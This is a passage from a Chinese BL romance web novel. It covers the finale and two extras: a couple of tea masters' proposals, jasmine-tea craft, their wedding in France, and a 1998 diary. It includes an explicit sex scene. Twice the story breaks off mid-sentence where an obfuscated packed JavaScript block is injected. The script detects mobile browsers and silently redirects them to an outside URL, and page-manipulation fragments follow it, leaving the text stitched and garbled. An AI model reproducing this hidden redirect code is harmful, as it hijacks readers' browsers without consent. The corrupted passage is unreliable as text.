几个空了的啤酒瓶七零八落地倒在地上,一旁的陆俨也是个酒量差的,已经趴在桌子上不省人事了。楚韫和傅砚珩把屋子简单收拾了一下,然后和秦澜月告别。 喝得头晕眼花、不知天地为何物的秦澜月笑了两声,非常热情地扑了过去,一把抱住楚韫,在他耳边打了个酒嗝。 楚韫:“……” 他拍了拍秦澜月的后背,忍住扑面酒气带来的呕吐的欲望:“洗洗去床上睡吧。” 秦澜月没动,而是嘟囔了一句什么,楚韫没听清。 怀柔政策无效,只能采取武力手段,傅砚珩帮着把秦澜月从楚韫身上扒下来,然后两个人一起把醉鬼扔进了主卧的床上。 楚韫活动了一下脖子:“走吧。” 他们走到主卧门口,床上的秦澜月突然大声嚷嚷起来:“新年快乐!” 楚韫笑了:“新年快乐。” 醉鬼还在意识不清地乱喊乱叫:“你们要幸福,百年好合、早生贵子……” 楚韫深吸一口气,如果不是傅砚珩拽着,他可能已经把秦澜月从床上薅起来暴揍一顿:“你听听他这都说的什么乱七八糟的——” 傅砚珩笑着亲了一下他:“跟醉鬼讲道理,你是不是也醉了。” 路过餐厅的时候,傅砚珩还问了一句:“要不要把小俨也弄到卧室里?” 楚韫正在穿外套,摆了摆手说:“不用,一会酒醒了他自己就回去了。”活脱脱一副冷酷无情不靠谱的师父形象。 . 从秦澜月家开车回去,路上正好经过清平江。江两岸各种摩天大楼的玻璃幕墙像是璀璨的光瀑,流淌下倒悬的银河。 傅砚珩似乎今天心情极好,提议过去看看。于是楚韫找个地方停好车,两人一起往江边的广场走去。 广场上聚集了很多人,都仰着头去看写字楼LED屏上跳动着的倒计时。鲜红的数字不断跳动着——10、9、8…… “看来我们来得正是时候。” 倒计时的呼喊声从拥挤的人群中涌来,五彩斑斓的灯光映在楚韫脸上,一瞬间像是流动着幻彩的光晕。江边风有些大,傅砚珩帮他紧了紧围巾。 “其实我还有一个新年愿望。” 随着他的动作,脖子上的羊绒围巾紧密地贴合在了皮肤上,让楚韫觉得有点痒。 他心里也泛起细密的痒意:“什么?” 傅砚珩的声音低沉轻缓,一字一字地敲在耳膜上,一瞬间掩盖了外界所有的喧嚣:“新的一年,我想和你去国外领证结婚——” “3、2、1——” 江面炸开一朵烟花,金红色的光瀑瞬间铺满夜空,紧接着是成片的绚烂腾空而起。整座城市的灯光突然齐暗,又在下一瞬迸发出白昼般的光亮,千万霓虹同时转向夜空。 楚韫愣愣地看着他,雪亮的光芒彻底照亮了傅砚珩的面容,他脸上温柔的、认真的神色一览无余,在人们的欢呼声中,他动了动嘴唇,说道:“新年快乐,楚韫。” 51. 大结局(下) 初春的小雨淅淅沥沥而下,漫山茶园绿霭生烟。最早的一批明前茶已经被采下来,摊晾在竹匾上。经过四个小时的萎凋,鲜叶渐渐失去了原本的生涩。 楚韫指尖捻起几片茶叶,感受到上面恰到好处的柔韧,将东方美人特有的发酵菌群均匀喷洒其上,然后翻动竹匾,让每片茶叶都裹上一层薄薄的菌液,再推入发酵室。 第一天,茶坯边缘便泛起琥珀色,空气中开始飘着类似熟果的淡甜,仿佛春山雨后初绽的野蜜香。 “师父,这就是你研究东方美人,然后培育出来的菌群?” 楚韫“嗯”了一声,忽然问道:“你的杀青都做完了?” 陆俨递给他一个茶罐,打开后,一股清淡的兰花香扑鼻而来。楚韫捻起几片茶叶,均是色泽翠绿,带着自然的油润光泽,稍稍用力揉搓就成了条索状。 “不错,你的杀青可以出师了。” 陆俨喜上眉梢,就见楚韫瞥了他一眼,淡淡地说:“接下来你跟我学揉捻,什么时候达到了标准才能休息。” 陆俨脸上的喜悦瞬间土崩瓦解,看起来充满了心惊胆战。 楚韫笑着拍了拍他的肩膀:“好了,今天的标准不高,放心吧。” “那师父,我们先从哪一步开始——” 外面的小雨早就停了,春日温暖的阳光洒在两人身上,连身后的影子都明媚而悠长。 第七日的茶坯已褪去大半青涩,被送入立体发酵舱。刚采摘下来的茉莉花被连夜送到楚韫这里,再由他亲手筛选出紧实的花苞,与茶坯按照一定比例分层铺入舱内,最后再加上竹篾隔层,为彼此的香气预留了流动的通道。 这是楚韫第一次试验,因此从头到尾他都要进行观察记录,哪怕现在已经是凌晨。 观察窗里,茉莉花苞顶端微微开裂,楚韫甚至能想象到,丝丝缕缕的花香漫出,和茶坯的蜜香混合、交融,充盈了整个发酵舱。 到黎明时分,茉莉花已经全然舒展,雪白花瓣边缘染着淡淡的茶褐色,而茶坯则吸饱了水汽,变成深绿色。 接下来就是向舱内输送精确配比的二氧化碳。 “上午十点是茉莉香主导,午后两点泛起轻微的酸,傍晚时茶坯的焦香与花香交织……” 楚韫每隔四个小时就记录一次香气变化,直到第一次窨制结束。 第二次窨制换了新一批茉莉花,这次的花苞选得更加紧实,为了与茶坯的蜜香撞出更馥郁的层次。 如此往复九次,茶坯在一次次浸润中逐渐蜕变,花香与茶香彻底交融。最后一步是炭火烘焙,茶叶在竹匾里慢慢舒展,楚韫用手摸了一下叶片,感受里面的含水量已经合适,至此,九窨茉莉花茶彻底制作完成。 陆俨循香而至,满目惊艳:“这次的茉莉花茶好像比往年多了些什么。” 楚韫侧过头问他:“多了什么?” 陆俨想了想,组织了好久的语言,字斟句酌地说:“它给我的感觉就是,先是茉莉的清新像一阵风一样扑面而来,接着是茶坯的沉敛兰香慢慢散开,最让我惊奇的是,到了最后还有一种若有似无的果香。” “——那师父,这款茶叫什么名字啊?” 风卷起刚刚被筛在一边的茉莉花瓣,飘飘荡荡地落在楚韫的肩头,让他整个人多了些馥郁的温柔。他望向远处的绿波翻浪,轻声道: “露华。” 茶叶受到小绿叶蝉“着涎”启发,蜜韵如饮甘露而生;九窨茉莉花茶香气馥郁,如花华盛放。 凝露之华,芳泽天成。 …… 望舒巷周围的居民都已搬迁,亿恒的茶文化园区正式开始动工,为此“先春”短暂地停业了一段时间,秦澜月趁机给自己放了个“年假”,出去欣赏了一圈祖国的大好河山。 楚韫的“露华”正式推出后不久,改良版的雪听松风也进入了大众视野。这两款茶在市场上引起了巨大的轰动,一些茶叶测评人甚至开玩笑说,楚韫靠着现在的这些成就,已经可以在未来十年的顶级制茶师中占有一席之地。 比起那些,楚韫更关心的是茶客对于这两款新茶的反馈,比如此刻,傅砚珩的办公室里就氤氲着“露华”独特的香气。 傅砚珩的办公室原先是没有茶台的,后来才添置了一个海南黄花梨的,楚韫第一次看到的时候就对它爱不释手,然后傅砚珩就云淡风轻地说:“喜欢吗?” 楚韫的目光就一直没离开过它,点了点头。 “喜欢就多来我办公室。” 楚韫忍俊不禁:“傅砚珩,你这算盘打得真响。” 傅砚珩挑了挑眉:“愿者上钩的事。” 但不管如何,楚韫这条鱼确实甘愿上了“傅太公”的钩,来他办公室的频率直线上升,而且每次都能受到闻时无比热情的款待。 他还记得自己年后第一次见到对方时,闻时脸上悲喜交加,犹如寒风中颤抖的枯叶,似乎随时要给他表演一段“一把辛酸泪”,以至于楚韫私下里问傅砚珩他这是怎么了。 “太久没见到你了吧。”傅砚珩当时是这样说的,指尖敲了敲太阳穴:“以至于这里都出问题了。” …… 傅砚珩摘下蓝牙耳机,关掉笔记本电脑,走过来坐到楚韫对面。 一杯冒着热气的茉莉花茶被推到他面前,楚韫说:“尝尝看。” 傅砚珩喝了一口茶汤,片刻才缓缓咽下,感受着香气的变化,说道:“和之前的‘雪绡’比,茉莉花香更加清冽,有一种浓而不艳的感觉,而且茶汤滑过喉咙的时候,里面的蜜香就泛了上来。” “哪怕是我现在和你说话,还能感觉到唇齿间有一层薄薄的香气。” 楚韫微微颔首,随即像是忽然想起了什么:“秫阳县那边的茶农反馈怎么样?” 傅砚珩把空了的茶杯放在茶台上,说道:“前两年的秫阳金芽因为受到不稳定天气的影响,茶农损失惨重,但今年到目前为止,天气和病虫害预警系统发挥了很大作用,估计今年秫阳金芽能增产百分之四十左右。” 他笑了笑,接着说:“沭阳县有很多留守老人,以前每年都是要把茶田承包出去,得的钱就很少。有了这些技术,他们管理自家茶田就更加轻松,再也不用外包茶田了,长此以往还能吸引外出年轻人回流。” 楚韫重新注入热水,滚滚茉莉花香盈满整间屋子,他感慨道:“要是我师傅还在,一定会觉得很不可思议。” 茶盏里漂浮着一瓣茉莉花,在绽放的绿茶芽尖中,像是青碧池水上盛开的一朵莲。 傅砚珩说:“时代在进步,科技的介入是大势所趋,但一杯茶的内核,永远在于你们这些制茶师的手中。” 哪怕是一模一样的茶种,由不同的人做出来,味道都会不同。正是因为人类的匠心巧思、情感寄托,赋予了茶叶独一无二的灵魂。 楚韫有些出神地想着,就听傅砚珩突然说:“带你去个地方。” . 市中心的喧嚣繁华被抛在身后,车子在蜿蜒的山路上盘旋。山色如黛,起伏连绵,将城市的身影推得渺远而模糊。 楚韫欣赏着沿途的风光,中途回过头,好奇地问道:“傅砚珩,我们要去哪里?” 但对方只是笑了笑,说道:“保密。” 楚韫压下心里的那点躁动,随即又有一些说不清道不明的情感浮上来。 手机里的日历被翻过很多遍,珠宝定制品牌他也咨询过很多次,和设计师商量修改了好几稿,最后敲定好款式,也是前两天,他才拿到定制的对戒。 现在那两枚戒指连带着绒布盒子,还在他的口袋里。 楚韫的思绪有些飘远,因为去年的今天,是他和傅砚珩第一次见面的日子。 楚韫现在还记得那天因为下雨,茶楼里没什么客人,他一个人在二楼的茶室里看书,正看到关键的地方,秦澜月一把拉开茶室的门,紧张地和他说,有两个客人点名要请自己泡茶。 很快他就知道秦澜月为什么那么紧张了,来的两个人都西装革履,一看就是身价不菲的人,更确切地说,一看就不是和他们一个世界的人。 其中一个人一上来就和他来了一段自我介绍,楚韫勉强记住了他姓江,但说实话,他讨厌那些第一次见面就没有分寸感的人。 于是那天他应该一直也没给对方什么好脸色,但江祈年仿佛没看出来,依旧在一边喋喋不休。 与之相对的,另一个沉默些的男人反倒稍稍引起了他的注意。对方应该不是自愿来的,全程没说过几句话,整个人周身有一种更加冷漠沉敛的气质,却并不让楚韫觉得畏惧。 很奇怪,但事实就是,那时的楚韫心里有一种模糊的感受:他和这个人好像两团复杂的线,看似毫不相关,但总有丝丝缕缕是缠绕在一起的,甚至如果追溯的话,可能连本质都是同源。 “想什么呢?” 傅砚珩看着楚韫脸上那点微妙的笑意,捏了捏他的脸。 楚韫眨了眨眼,把他的话原封不动地还了回去:“保密。” 车子终于停下,楚韫这才发现,原来这里有一处沉默而庞大的别墅群,也许是隐藏在山林中的缘故,看起来幽静自然、远离尘俗。 “到了。” 楚韫被傅砚珩牵着走进木质栅栏围绕的庭院,在看清眼前别墅的全景时,他面上一片空白—— 青瓦错落,露台隐于繁花翠影间,廊下灯火如星,映着蔷薇花瀑垂落,锦鲤在池里自由游荡,露台的茉莉花洁白芬芳,似雪飘落,一瓣落在了楚韫的头发上。 傅砚珩帮他把花瓣拿下来,说道:“楚韫,虽然深山隐居可能真的要等我们老了才能去做,但起码现在,这里可以成为你年轻时的隐居地。” 他继续牵起楚韫的手,声音被夜风熏染得温柔:“走吧,我们去里面看看。” 胡桃木长案、插着茉莉的青瓷瓶、藤编扶手椅、矮脚陶炉……没有一件不合楚韫的心意。 傅砚珩最后带他看了卧室,胡桃木床架靠着整面墙,床幔是米白棉麻质地,边缘缀着细麻流苏,长长地垂到地面。 “以后没事的时候,我们都可以住在这里。” 傅砚珩捧起楚韫的脸,亲昵地和他交换彼此的呼吸:“知道为什么是今天吗?” 楚韫只要一说话,就会碰到傅砚珩的嘴唇,但他还是回答:“……因为今天是我们第一次见面的日子。” 傅砚珩顿了一下,随即重重碾上楚韫柔软的唇瓣,打开他的齿关,反复地辗转研磨。 楚韫的后背撞上了墙边的多宝阁,但他像是失去了痛的知觉,因为另一种令他颤抖的感觉已经攫取他全部的意识。 傅砚珩把他搂过来,一边揉着后背,一边继续地亲吻。 “……做吗,楚韫?” 楚韫点了点头,随即整个人就摔在了床上。傅砚珩不放过任何一个亲吻的机会,只是在让楚韫换气的空隙提醒他:“帮我脱衣服。” …… 他们互相帮助着对方,好像每去掉一层,就会把自己炽热的爱意更加清晰地展露在对方面前。 直到最后一点遮蔽都没有了,楚韫像一个待拆的礼物,终于揭晓了最后的惊喜。 他没有相关的经验,因此当异物进入的时候,他下意识绷紧,几乎是让对方寸步难行。 “放松,不然一会你会吃很多苦头。”傅砚珩安抚似的,语气很温柔,眼睛里却是深不见底的欲望。 楚韫不断地喘息着,竭力地放松,迎合着对方在自己的身体里开疆拓土,不知道是什么时候,兴风作乱的异物终于退了出去,楚韫刚刚松了口气,就被人抬起下巴,强迫般地与之对视。 “楚韫,看着我,我是谁?” 楚韫喃喃道:“傅……傅砚珩。” 汗水已经模糊了他的视线,但他依旧能看到傅砚珩眼里一瞬间的光芒,他依稀意识到了什么,但已经晚了。 他看见傅砚珩拉开床头柜,从里面拿出一个盒子,用牙尖撕开包装袋—— 暴风雨带着比先前恐怖百倍的力量,几乎是毫不怜惜地瞬间进入茉莉花的花蕊,茉莉花承受不住这样的冲击,雪白的花瓣都染上绯色,不住地颤抖着。 茉莉花已经湿透了,暴风雨的每一次降落都带着瓦解意志的力量,痛苦和愉悦同时鞭笞着可怜的花蕊,让它沦入地狱,又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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仿佛泥土被春雨泡得松软、湿润,深处却蕴藏着沉睡的生机,楚韫的一颗心都变得酸软而又温暖。他不喜欢哭,但眼眶还是情不自禁地酸涩,他没说话,只是把手伸向地上的裤子,从口袋里掏出一个绒布的戒指盒。 看清那个戒指盒的一瞬,傅砚珩愣住了。 楚韫打开盒子,里面的两款对戒露了出来,一枚是白金,一枚是玫瑰金,戒身形状优雅而流畅,交汇处恰到好处地点缀着钻石,像灵动闪烁的晨露。 “好巧,”楚韫的声音有些颤抖:“我本来也想向你求婚。” . 怪不得他记得。 傅砚珩的脑海里模糊地闪过这个念头,灯光下,无名指上的两枚戒指叠戴在一起,相互依偎、不分彼此。 楚韫毕竟被他折腾狠了,眼皮越来越沉,但还是拿过他的手亲了亲,喃喃道:“……明天再看。” “好。”傅砚珩短促地笑了一声,亲了亲他的额头。 月光从半开的窗户流淌进来,温柔地抚慰着相拥的灵魂。它见证了相爱之人的喜悦和幸福,默然无声地送上自己的祝福。 . [艾略尔特:嘿,楚韫,你的茉莉花茶是入侵欧洲市场了吗?] [天知道我看到“雪绡”的时候有多激动,买回去一喝果然是那个味道!] [不过话说回来,你的茉莉花茶在欧洲市场也好评如潮,搞得我也有危机感了。] [不说了,我还要研制新茶呢,等哪天再见面,我们一定要好好交流一下!] 楚韫无奈地摇了摇头,关掉了手机。 他应戴尔森夫人的邀请,来到F国参加一个首售活动。据对方所说,之前她们尝试先在英国进行销售,取得了很不错的效果。 没有什么比制茶师本人到场更加具有宣传效果,正好最近楚韫有空,于是戴尔森夫人就邀请他来分享一下制作茉莉花茶时的灵感和思路。 台上主持人念到楚韫的名字,伴随着一阵掌声,楚韫走上去接过麦克风。 因为身处异国,面对的也都是外国人,楚韫自动把语言换成了英语。 “之前很多人问我,九窨,听起来就是一个很麻烦的数字,为什么它代表着茉莉花茶的最高境界?” 楚韫目光微微闪动,微笑着说:“我想这可能是因为,茉莉花茶每一次的窨制都不是简单的叠加,而是花与茶进一步融合的过程。” “在这个过程中,我们不是在制茶,更像是让花与茶彼此滋养、彼此塑造。温度、湿度、时间、花与茶的比例,每一次翻动与静置的节奏,都和最终呈现的效果息息相关。九窨的目的,就是让花香由表及里地层层渗透,最终达到一种‘花魂入骨’的境界。” 最前排不知何时出现了一道身影,正专注而沉着地看着他。楚韫的目光和对方短暂交错,随即投向了那些认真的外国观众。 “九次窨制,一方面考验的是每个制茶师的耐心,另一方面也是对花茶品质的不懈追求。因此我们的期望始终是,当每一位茶客喝到这样的茉莉花茶时,停留在唇齿之间的花香,能够给人留下惊艳而难忘的印象。” 楚韫微微鞠躬,随即台下响起了热烈的掌声。 “恭喜。” 活动结束后,楚韫收到了来自傅砚珩的鲜花。戴尔森夫人刚刚就看到了傅砚珩,也知道他是为谁而来,此时自然知趣地不去打扰他们。 楚韫捧着那束洋桔梗,笑道:“你飞机一落地就赶过来了?” 傅砚珩“嗯”了一声,和他十指交握:“这段时间刚好能凑出几天空闲,索性就当放假了,来这边找你。” 他们并肩走在鹅卵石铺就的街道上,夜幕降临,暖黄色的路灯纷纷亮起,有街头艺人在拉手风琴,《玫瑰人生》的旋律温柔慵懒,像是在给这个惬意的夜晚伴奏。 “傅砚珩,我有时候觉得,我们相爱的过程也像九窨茶。” “怎么说?” “一窨是初见,花和茶意外相遇,沾染了彼此的气味,只是这种气味若有似无,风一吹就会散去。” “再窨渐熟,花和茶互相磨合、互相浸润,逐渐成为了彼此生命中难忘的存在。” “如此循环往复,直到九回过后,它们都不再是最初的样子,却早已灵魂相契,成为了对方不可分割的一部分。” 身后的影子在亲密地交叠,他们一直紧握着彼此的手,走向夜风温柔的远方。 九窨茶,花入茶骨,茶纳花魂,方得“天香”之名。 我爱你,亦是如此。 ——正文完—— 52. 番外一[番外] 楚韫在F国的工作全部完成后,两人挑了一个风和日丽的上午,去第六区市政厅领证。 傅砚珩提前预约了结婚登记,两人之前就递交过一次材料,今天是要去领取结婚证。当天早上,楚韫在朦胧睡意间,就听见身旁的人悄无声息地下床,很快,卫生间里就响起了洗漱的声音。 楚韫听着若有若无的水声,那点残存的睡意渐渐烟消云散。他捞起床头的手机看了一眼时间—— 5:20。 他嘴角勾起,有些无奈地笑了笑,却也觉得可能冥冥之中自有天意,偏偏是今天这个重要的日子,他一觉醒来就是这个时间。 卫生间的门打开,傅砚珩擦着头发走了出来,看到醒着的楚韫,愣了一下:“我吵醒你了?” 楚韫摇了摇头,笑道:“没有,是我睡不着了。” 傅砚珩走过去,俯下身亲了下楚韫的额头,动作间发梢的水珠滴落在楚韫的锁骨上,让他忍不住瑟缩了一下:“好凉。” 傅砚珩指腹抹去那滴水,笑道:“时间还早,要不要再睡一会?” 楚韫说:“不了,我也要收拾一下。” 于是傅砚珩把人从被子里捞出来,并且得到了一个暖意融融的,带着茉莉花香气的拥抱。 选衣服时,楚韫犯了难。 傅砚珩正在旁边一丝不苟地打领带,整个人从头到脚无比正式,看起来是能直接去秀场上当男模的程度。 他感受到楚韫犹豫的目光,从背后揽住他,问道:“在考虑什么?” 楚韫叹了口气,说:“我在想是穿这件偏中式的,还是穿和你更登对的衬衫西装。” 傅砚珩亲了亲他的额角,笑道:“穿那件中式的吧,和你很配。” 更重要的是,他不想让楚韫失去独属于他的色彩。 楚韫其实也更偏向于那件中式的浅杏色衬衫,领口处用米白色丝线绣了半朵玉兰,是他一贯的审美。 两个人收拾完,就动身前往市政厅。 在车上的时候,楚韫看着那张薄薄的回执,是前几天两人递交材料后拿到的。 “现在想悔婚已经晚了。” 傅砚珩揶揄的声音传来,楚韫意识到自己盯着那张纸太久,轻声道:“我只是觉得有点不真实。” 这一路他们经历了太多太多,以至于现在回首望去的时候,还是会生出几分恍惚。 前面正好是一个红灯,傅砚珩停下车,像是洞察了楚韫的所思所想,说道:“不是梦,楚韫。” 傅砚珩温柔地注视着他,语气虔诚而坚定:“你所担心的永远都不会发生,因为我永远爱你。” 心里泛起的那些褶皱被人一点点抚平,楚韫看了一眼红绿灯,飞快地探过身来,在傅砚珩嘴角印下一吻。 “——我也是。” 领证当天有一场小型仪式,需要在证婚人和司仪的见证下交换戒指。两人的亲戚朋友都在国内,异国他乡,楚韫最后还是把戴尔森夫人找来当证婚人。 这位美丽动人的女士看到两人为彼此戴上婚戒,露出了真挚而怀念的笑容:“我从未见过两个人如此般配,希望你们长久、幸福地生活在一起。” 楚韫和傅砚珩笑着向她道谢,就听戴尔森夫人接着说:“说起来真是奇妙,看到你们,我就想起了当年我结婚时的场景。” 傅砚珩说:“您和戴尔森先生的感情足以羡煞旁人。” 戴尔森夫人微微一笑,看了一眼两人牵着的手,说道:“好了,我就不打扰你们了,在F国玩得开心,有什么需要帮助的地方请随时联系我。” 他们互相拥抱了一下,这时,戴尔森夫人像是突然想起了什么,从手提包里拿出了一张明信片:“差点忘了,我有一个朋友非常喜欢楚韫,希望你能给她签个名。” 楚韫怔愣一瞬,随即接过纸笔,在上面郑重地签上了自己的名字。 . “我真是没想到,自己有一天也会被人要签名。” 傅砚珩对此毫不意外,楚韫就像一颗明珠,虽然曾因为那些过往而蒙上灰尘,但它的光芒迟早会重新获得世人的目光。 “因为你确实足够优秀,这一点毋庸置疑。” 楚韫的耳朵微微发红,这一点让他自己都觉得有些难以理解,因为哪怕是面对外界铺天盖地的赞美时,他都不会有这样的反应。 就在这时,傅砚珩看了一眼左前方,说道:“前面是卢森堡公园,要去看看吗?” 楚韫收回思绪,就见一片树木掩映下,草地、花坛和长椅若隐若现,看起来绿意盎然,充满了生机。 “好。” 两人走在梧桐树荫下的夹道上,这是楚韫第一次来卢森堡公园,因此对于一切都觉得很新奇。 他们路过一座长椅,有一个穿着驼色风衣的老妇人在那看书,就在这时,一阵风吹过来,把一片银杏叶书签刮到了楚韫身前。 楚韫拾起了那枚书签,把它交到老妇人手里。那个老妇人朝他露出一个感激的微笑,用法语说了句“谢谢”。 楚韫笑了笑,同样用法语回复了她。 等到两人继续向前走的时候,傅砚珩问道:“你会法语?” “大学的时候修过一门法语,但是这么多年不用,现在也只能听得一知半解了。” 话音落下,楚韫耳边就传来一道低低的声音:“Je t''aime。” “能听懂吗?”傅砚珩微笑着问他。 楚韫一时起了促狭的心思,故意说道:“听不懂。” 下一秒,楚韫的脸就被捧起,傅砚珩在他唇上落下蜻蜓点水的一个吻。 “听不懂也没关系,比起语言,我更喜欢用行动来表达。” 楚韫有些紧张地扫了一眼周围,好在国外比较开放,情侣之间在公共场所之间接吻简直再正常不过,两人刚才一触即分的小动作根本没人在意。 楚韫告诉自己保持冷静,心里已经想好了一会该怎么反击。 花圃里的郁金香开得正盛,不知不觉间,一座巨大的喷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16383339|184157||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 泉出现在眼前。水流飞溅间,水珠在阳光下反射出绚烂夺目的虹彩。 几个穿着背带裤的孩子正追着鸽子跑,一片欢声笑语间,傅砚珩突然说道:“等我一下。” 楚韫的目光追随着他的身影,就见傅砚珩走到了一个卖花的小贩那,神情专注地挑了几枝花。 “——你好,我是一位摄影师。我觉得你身上很有东方水墨画的气质,刚才就注意到你了。不知道你愿不愿意当我的模特,让我在这里拍几张照片?” 一道温柔悦耳的声音传来,那个摄影师用的是中文,因此落到楚韫耳里多了几分亲切之感。 “不了,”楚韫微笑婉拒,朝着一个方向指了指:“我男朋……老公在那边,很快就回来。” 那个摄影师“噗嗤”一笑,一双桃花眼微弯,看起来更加含情脉脉,“你这么一说,好像我们两个是要偷情一样。” 楚韫也反应过来自己拒绝人的措辞不太妥当,好在对方也不强求,一只修长好看的手递过来一张名片:“我叫沈寥,你可以叫我Sorly。” 出于礼貌,楚韫接过了那张名片,就听沈寥接着说:“交个朋友,万一以后还有机会再遇到呢。” ……人海茫茫,那样的概率几乎微乎其微。 仿佛是洞察了楚韫的所思所想,沈寥笑了笑,没再把话题继续下去,而是扬了扬下巴:“你老公回来了。” “那我就先走了,虽然错过了一个灵感很可惜,但我相信我们后会有期。” 沈寥离开了。楚韫有些好笑地摇了摇头,一束漂亮的香槟玫瑰就撞入了他的视线,进一步占据了他的世界。 “我想了想,今天是我们正式结婚的日子,应该有一束鲜花作为庆祝。” 楚韫捧过那束带着露水的香槟玫瑰,笑道:“那我们真是心有灵犀,我也想着今天应该怎么庆祝一下。” 傅砚珩的目光落在了楚韫手里攥着的名片上,挑了挑眉:“刚才那个人给你的?” 楚韫一看傅砚珩的表情就知道他在想什么,说道:“他想要邀请我做他照片里的模特,被我拒绝了。” 说完,楚韫牵起傅砚珩的手,明知故问道,“不会这你都要吃醋吧?” 傅砚珩看了他一眼,语气平静得好像没有这回事,“没有。” 楚韫笑意更深,仰起头,轻声在傅砚珩耳边说道: “真的吗,老公?” 傅砚珩顿了一下,随即和楚韫目光相缠:“……再说一遍。” 楚韫破天荒地看到傅砚珩的耳朵攀上一层薄红,心中成就感更甚,于是毫不犹豫地重复道: “老公。” 下一秒,身前覆上一片阴影,雪松味的气息攫取了楚韫的全部感官,氧气被彻底掠夺,连同那个充满爱意的称呼也被一并吞没,化作经久不散的喜悦,流淌入心中最深处。 香槟玫瑰在阳光下闪烁着光芒,无声地见证着彼此的爱意。那些未曾宣之于口的誓言珍重而坚定,迤逦升入远方湛蓝的天际。 53. 番外二[番外] 1998年3月6日 车子走了六个多小时,终于到了青龙岭村。这里和我想象中的一样,漫山遍野都是茶田。只要远远看一眼那些生机和绿色,一身的疲惫就好像全都被洗去了,看来我真是一辈子做茶叶的命。 进村的时候已经很晚了,这里的村民都很热情好客,村长把我安排在了一户茶农家里,据说这家是当地最大的茶叶种植户,种植经验非常丰富,可以帮到我。我和主人聊了一会儿,他告诉我,他姓楚,让我叫他利民叔就行。虽然只接触了短短几个小时,但利民叔为人很幽默风趣,我很喜欢他。 太困了,明天一早还要上山去看茶田,今天就先写到这吧。 1998年3月10日 这是我第四天上山,今天在和利民叔交谈的过程中,他讲了目前茶叶种植的一些困境。我有时候会想,会不会有一天,技术发展到我想象不到的地步,那些自然灾害所带来的风险都能被避免? 下山途中,利民叔和我说,他们村子里有一位老师傅,制作茉莉花茶的手艺是从祖辈传下来的,他打算明天为我引荐一下。 哪怕是现在,我也依旧很感动。只不过是前两天和利民叔随口一提,他竟然就记在心里了。我有点不知道说什么好了,自从父亲去世后,利民叔是第一个给我这样温暖的人。 晚上吃饭的时候,利民婶拿来了一封信,说是什么“迎辞”要回来了。利民叔和利民婶都很高兴,利民叔和我解释,说是他女儿大学毕业,这两天就要回来了。 提起他女儿,利民叔胸脯挺得很高,他说他女儿很争气,考上了大学,走出了他们这个小山村。这回她回来,就是要用学校里学到的知识,帮他们解决茶田的病虫害防治问题。 我对那位迎辞小姐有点好奇(不知道是不是这两个字,就先代一下吧),但目前我更期待的是明天和那位老师傅的交流。 1998年3月14日 今天,那位迎辞小姐回来了。 说实话,我前几天一直在和那位老师傅取经,几乎已经忘了她这么号人的存在。今天刚迈进利民叔家的院子,我就听到了一道清亮的笑声。我还没反应过来,屋子里就走出来一个女孩子,正拿着一双笑眼看我。她问我是谁,我当时也不知道怎么了,结结巴巴了好久才说出一句完整的话,唉,现在想想真是丢人。 那位迎辞小姐一开始似乎没听懂我在说什么,就那么眉眼弯弯地看着我。我还想再解释,结果屋里利民叔出来了,笑着训了她一通,我这才知道她早就知道我的身份,刚才只不过是在和我开玩笑。 说实话,直到现在,我的脑海里还是她那双眼睛,现在想想,里面分明带着灵动和狡黠,怎么当时我就没有发现呢。 1998年3月16日 今天我还是像往常一样去那位老师傅那请教,也许是这么多天的拜访打动了他,老师傅和我说了些知心话。 他说,他这一辈子无儿无女,毕生精力都奉献给了制作茉莉花茶这一件事上。他们这一辈人的技艺,是一点一点练出来的,全凭日积月累的“熬”。我当时听完了很受触动,一辈子那么长,长到很多人走着走着就踏入了另一条道路,一个人行走于这世间,又是那么寂寞,总有一天,人被这寂寞逼疯了,熬不动了,也就坚持不下去了。 怀里揣着这么一件事,晚上回去之后,我吃完饭就早早回了房间。让我没想到的是,迎辞小姐敲开了我的房门,问我是不是遇到了什么事情。我当时也是昏头了,一看见她那双眼睛,就把今天的事情全告诉她了。刚说完我就觉得后悔,她刚刚大学毕业,对我们这行了解不深,讲这些也是让她徒增烦恼。 但我没想到的是,她听了我的话,收起了原本的笑容,和我说,在她眼里,人活一世,但求无愧于心,如果一切都是水到渠成,那只能证明那份“坚持”早已失去了意义;如果不能享受其中寂寞的话,那么所谓的“坚持”也只是一个干瘪的空壳。与其苦苦挣扎,不如趁早改弦易辙,解脱了出去。 和我说完这番话,她就离开了。这是我第一次感受到她独一无二的思想,很洒脱,像一阵风,让我久久不能忘怀。 1998年3月17日 今天,那位老师傅把他毕生手艺都教给了我。虽然很开心,但我也知道,我有自己的路要走,我要自己摸索着做出更好的茉莉花茶,而不是仅仅靠着一份传承的技艺。 那位老师傅和我说,该教我的他都教了,接下来就看我自己的悟性了,明天不必再来。我谢过他,然后和夕阳作伴回去。 出乎我意料,回去的时候,利民叔两口子都不在家,但厨房里还有声音。我以为家里进了贼,结果居然是迎辞小姐。 她端出来一盘,嗯,黑漆漆的菜(直到现在我也不知道那是什么),和我说利民叔两口子今天去茶田帮着采茶了,要晚一些才回来。 我们两个相对坐着,她看出了我的犹豫,很不客气地往我碗里夹了一大筷子菜。我只能硬着头皮吃。 虽然这顿饭吃得很糟糕,但为了缓和气氛,我主动和她聊了很多,包括她的大学生活。我终于问清楚了她的名字,楚盈慈,嗯,现在开始我要把她的名字改正过来了。这是个很美的名字,我觉得很适合她。 1998年3月18日 福鼎白茶的头茬春茶刚刚下来,即使雇了人采摘,利民叔两口子也要去帮忙。昨晚他们回来得就很晚。这段时间我一直守了利民叔不少照顾,所以今天我也跟着上山去采茶了。 让我意外的是,盈慈小姐也跟着我们。她说她要去茶田考察收集数据,我想起了利民叔之前和我说过的话,于是我一边干活一边和她聊了起来。 